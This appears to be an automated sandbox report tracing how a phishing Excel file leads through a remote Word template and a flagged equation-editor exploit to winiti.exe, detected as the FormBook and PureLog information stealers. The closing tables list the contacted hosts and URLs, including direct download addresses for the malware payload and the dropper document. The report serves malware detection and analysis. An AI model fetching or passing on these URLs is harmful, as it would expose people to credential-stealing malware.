Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, QoOP4PjGKS5gfhE57SM.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CqRNO2qJae', 'G9FNh3I2Q6', 'uKENqXoB2e', 'tSdNxrJjlJ', 'CacNS6aQwa', 'UqYNX9D6wT', 'EVsNTXaS2Y'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, qKgcIJaPN5xDIttQpD.cs High entropy of concatenated method names: 'PhUFj2dX4W', 'rMPFGPNVBu', 'DieFBnJWiM', 'ohEF6jvGsm', 'j2yFrLss94', 'StLFudw3uP', 'HY8F9s9TbD', 'VwdwTdWKCp', 'AZ5wVEa7Lv', 'VmGw2q4NJb'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, hNFj00Hv45CTOkfqEI.cs High entropy of concatenated method names: 'SfPrO1ssyo', 'NDPrhawp0e', 'y6irq2u9mD', 'bhYrx4PFV0', 'hFSrSDP4cF', 'NAOrXTfqy2', 'BUorTLsn5H', 'zTArVVaxqj', 'hfAr2On37F', 'N7Bra3OAps'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, Q8PlVd7gMYjm0S8vYt.cs High entropy of concatenated method names: 'Bpq93aGmUj', 'wTb9rMKOoC', 'iEc9unbdAm', 'i7l9IxK5H5', 'WE19vTwTjM', 'o9duSioOL5', 'F7BuX3OclH', 'lMkuTfOuXB', 'rbUuVL16tg', 'BLWu25cIwA'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, OOABLIblxanx4dA8KG.cs High entropy of concatenated method names: 'qy6I6v0QNP', 'UJ8IQvx2QP', 'U5VI9jiagd', 'F5i9aeIwTX', 'IXI9z4S0JK', 'wPHIpTNuN4', 'v3RIjSIcOj', 'TbfI8DkhQl', 'TRWIGOfZ1W', 'JxrIBmWZim'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, f3eVc2kPtPvNgZNKDL.cs High entropy of concatenated method names: 'uYjIlyACNl', 'dglIoMtatC', 'JIEIZtIDvN', 'j5SIeI2paI', 'jcvIJofeoR', 'qqqIMkFXex', 'qHYIgkNh8t', 'nYQIHJPpp8', 'UIFIyVd8tV', 'RskI1u4ivF'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, XC3FVVqBJrFXgahDpX.cs High entropy of concatenated method names: 'ToString', 'Q7hcPUyHH6', 'n2VciTvqHJ', 'DZActfCNLB', 'IrNcm0wRNs', 'LEbcd8cteg', 'YMEcnGOoEo', 'KF4cbxNwLp', 'uxvc0HdMAp', 'UDFckP4YiN'

Persistence and Installation Behavior
barindex
Microsoft Office launches external ms-search protocol handler (WebDAV)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot Jump to behavior
AI detected suspicious Excel or Word document
Source: Office document LLM: Score: 8 Reasons: The screenshot contains a visually prominent image with the Microsoft Office logo and the text 'This document is protected'. This can mislead users into clicking on a potentially harmful link. The text creates a sense of urgency or interest by implying that the document is protected and needs to be accessed through a specific action. The impersonation of the well-known Microsoft Office brand adds to the credibility of the phishing attempt. The sense of urgency is directly connected to the prominent image, which likely serves as a link or button to a phishing page or malware download.
Office drops RTF file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File dump: recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc.0.dr Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File dump: B9D5C678.doc.3.dr Jump to dropped file
Office viewer loads remote template
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Section loaded: netapi32.dll and davhlpr.dll loaded Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: RFQ#51281AOLAI.xls Stream path 'MBD001BDE15/Package' entropy: 7.97230907292 (max. 8.0)
Source: RFQ#51281AOLAI.xls Stream path 'Workbook' entropy: 7.99941847659 (max. 8.0)
Source: 45930000.0.dr Stream path 'MBD001BDE15/Package' entropy: 7.96744779352 (max. 8.0)
Source: 45930000.0.dr Stream path 'Workbook' entropy: 7.99934525895 (max. 8.0)
Source: ~DFA1D41AEDA01093E0.TMP.0.dr Stream path 'Package' entropy: 7.96744779352 (max. 8.0)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 430000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 22D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 640000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 5920000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 6920000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 6A60000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 7A60000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009A0101 rdtsc 9_2_009A0101
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3336 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3432 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3456 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\winiti.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009A0101 rdtsc 9_2_009A0101
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00417A03 LdrLoadDll, 9_2_00417A03
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00940080 mov ecx, dword ptr fs:[00000030h] 9_2_00940080
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009400EA mov eax, dword ptr fs:[00000030h] 9_2_009400EA
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009626F8 mov eax, dword ptr fs:[00000030h] 9_2_009626F8
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Users\user\AppData\Roaming\winiti.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\winiti.exe Queries volume information: C:\Users\user\AppData\Roaming\winiti.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.522804194.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.522828239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 8.2.winiti.exe.5c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.5c0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.22f505c.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.22f505c.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.450826441.00000000005C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.450903406.00000000022D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.522804194.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.522828239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 8.2.winiti.exe.5c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.5c0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.22f505c.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.22f505c.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.450826441.00000000005C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.450903406.00000000022D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1482963 Sample: RFQ#51281AOLAI.xls Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 41 tny.wtf 2->41 51 Multi AV Scanner detection for domain / URL 2->51 53 Malicious sample detected (through community Yara rule) 2->53 55 Antivirus detection for dropped file 2->55 57 18 other signatures 2->57 8 EXCEL.EXE 57 41 2->8         started        signatures3 process4 dnsIp5 43 104.219.239.104, 49164, 49168, 80 DATAWAGONUS United States 8->43 45 tny.wtf 188.114.96.3, 49163, 49165, 80 CLOUDFLARENETUS European Union 8->45 29 C:\Users\user\...\RFQ#51281AOLAI.xls (copy), Composite 8->29 dropped 31 recreatednewthings...gstohappened[1].doc, Rich 8->31 dropped 12 WINWORD.EXE 337 37 8->12         started        17 winiti.exe 2 8->17         started        file6 process7 dnsIp8 47 tny.wtf 12->47 49 188.114.97.3, 49166, 49167, 80 CLOUDFLARENETUS European Union 12->49 33 C:\Users\user\AppData\Roaming\...\tny.wtf.url, MS 12->33 dropped 35 C:\Users\user\AppData\Roaming\...\dGa.url, MS 12->35 dropped 37 ~WRF{B2025738-BC6B...9-AAA2C3F993CF}.tmp, Composite 12->37 dropped 39 C:\Users\user\AppData\Local\...\B9D5C678.doc, Rich 12->39 dropped 63 Microsoft Office launches external ms-search protocol handler (WebDAV) 12->63 65 Office viewer loads remote template 12->65 67 Microsoft Office drops suspicious files 12->67 19 EQNEDT32.EXE 12 12->19         started        69 Machine Learning detection for dropped file 17->69 71 Injects a PE file into a foreign processes 17->71 23 winiti.exe 17->23         started        file9 signatures10 process11 file12 25 C:\Users\user\AppData\Roaming\winiti.exe, PE32 19->25 dropped 27 C:\Users\user\AppData\Local\...\winiti[1].exe, PE32 19->27 dropped 59 Office equation editor establishes network connection 19->59 61 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 19->61 signatures13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.219.239.104
 unknown United States
27176 DATAWAGONUS true
188.114.97.3
 unknown European Union
13335 CLOUDFLARENETUS false
188.114.96.3
 tny.wtf European Union
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
tny.wtf 188.114.96.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://104.219.239.104/80/winiti.exe true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://104.219.239.104/xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://tny.wtf/dGa true
  • 4%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown